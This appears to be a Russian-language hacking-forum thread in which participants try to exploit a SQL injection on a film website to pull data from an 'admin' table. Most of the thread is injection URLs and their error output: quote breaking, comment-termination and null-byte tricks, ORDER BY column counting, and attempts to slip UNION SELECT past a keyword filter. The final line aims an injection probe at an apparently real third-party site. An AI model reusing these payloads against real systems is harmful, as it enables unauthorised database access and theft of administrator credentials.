Нашёл скулю, не могу достать данные с таблицы admin

таблица admin находится в базе test

Добрый день)

server.com/index.php?id=22' выдает следующее:

DB ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''22'' LIMIT 1' at line 1

SELECT * FROM `Films` WHERE `ID` = '22'' LIMIT 1

Notice: Undefined index: ID in /usr/local/www/server.com/index.php on line 75

При попытке вставить в запрос UNION SELECT подвисает (Код ошибки: ERR_TIMED_OUT), на UNION SELCT:

SELECT * FROM `Films` WHERE `ID` = '22' UNION SELCT' LIMIT 1

Как нибудь можно обойти? И еще фильтрует ##

нужно закомментировать остаток запроса --+

server.com/index.php?id=-1'+BLA+BLA+BLA+--%20

выдает в коде ошибки:

SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA -- ' LIMIT 1

server.com/index.php?id=-1'+BLA+BLA+BLA+#%20

выдает в коде ошибки:

SELECT * FROM `Films` WHERE `ID` = '-1' AND BLA BLA BLA ' LIMIT 1

Видимо комментирование только через # и этот символ фильтруется.

Что нибудь можно сделать?

Попробуй аналог незакрытого коммментария /* для 5-ой версии mysql:

server.com/index.php?id=1'+order+by+100--+1

server.com/index.php?id=-1'+OR+`ID`+=+'202

выдает правильную страницу (SELECT * FROM `Films` WHERE `ID` = '-1' OR `ID`='202' LIMIT 1), на нем и тестирую:

server.com/index.php?id=-1'+OR+`ID`+=+'202';%00

показывает правильную страницу (ID = 202) без ошибок. Я так понимаю комментирование работает?

В чистом виде выдает:

DB ERROR: Unknown column '100' in 'order clause'

SELECT * FROM `Films` WHERE `ID` = '202' order by 100-- 1' LIMIT 1

c order+by+1 до order+by+9

выдает правильную страницу.

Как засунуть туда union select, если при слове select страница отваливается по timeout? Пробовал и в разных регистрах, и со скобками - не работает. Может есть другие запросы для "побаловаться" с базой?

http://www.aquaprima.ru/article_show.php?art_id=199+order+by+1+--+ Невозможно подобрать кол-во столбцов.